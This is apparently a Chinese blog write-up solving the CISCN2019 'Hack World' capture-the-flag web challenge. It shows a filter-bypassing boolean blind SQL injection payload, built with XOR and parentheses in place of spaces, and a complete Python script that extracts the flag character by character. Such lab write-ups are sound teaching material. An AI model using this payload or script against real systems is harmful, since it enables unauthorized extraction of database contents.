【CISCN2019】Hack-World

Itachi

[CISCN2019 华北赛区 Day2 Web1]Hack World

img

测试

id=1
img
id=2
img
fuzz 一下,空格/union/order by/updatexml/and/or等字符

分析

尝试盲注,题目给出表及字段,使用异或连接,用括号代替空格
0^(ascii(substr((select(flag)from(flag)),1,1))>1)
img

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests

url="http://9fbcd2c9-29c1-45ee-8aa2-d17756ace4c0.node4.buuoj.cn:81/index.php"
target=""

## 本函数进行注入
# @param i 数据的每个位置
# @param j ASCII 码(二分法)
# @return 返回 True 或 False
#
def payload(i,j):
payload="0^" + "(ascii(substr((select(flag)from(flag)),{},1))>{})".format(i,j)
post_data = {'id': payload}
res=requests.post(url, data=post_data)
# print(url+payload)

# 用回显页面内元素判断
if "girlfriend." in res.text:
status=1 # True
else:
status=0 # False
return status

## 本函数用于遍历数据的每一位
#
def exp():
global target
for i in range(1,10000):
low=31
heigh=127
while low<=heigh:
mid=(low+heigh)//2
res=payload(i,mid)
if res:
low=mid+1
else:
heigh=mid-1
result=int(low+heigh+1)//2
if(result==127 or result==31):
break
target+=chr(result)
print(target)

# 启动 exp
exp()

img
得到:flag{9dac589a-3b83-4cdc-b67f-21f89b8f7f5c}

  • 标题: 【CISCN2019】Hack-World
  • 作者: Itachi
  • 创建于 : 2021-12-18 22:52:51
  • 更新于 : 2021-12-19 00:31:11
  • 链接: https://blog.tarchi.top/ctf/【CISCN2019】Hack-World/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论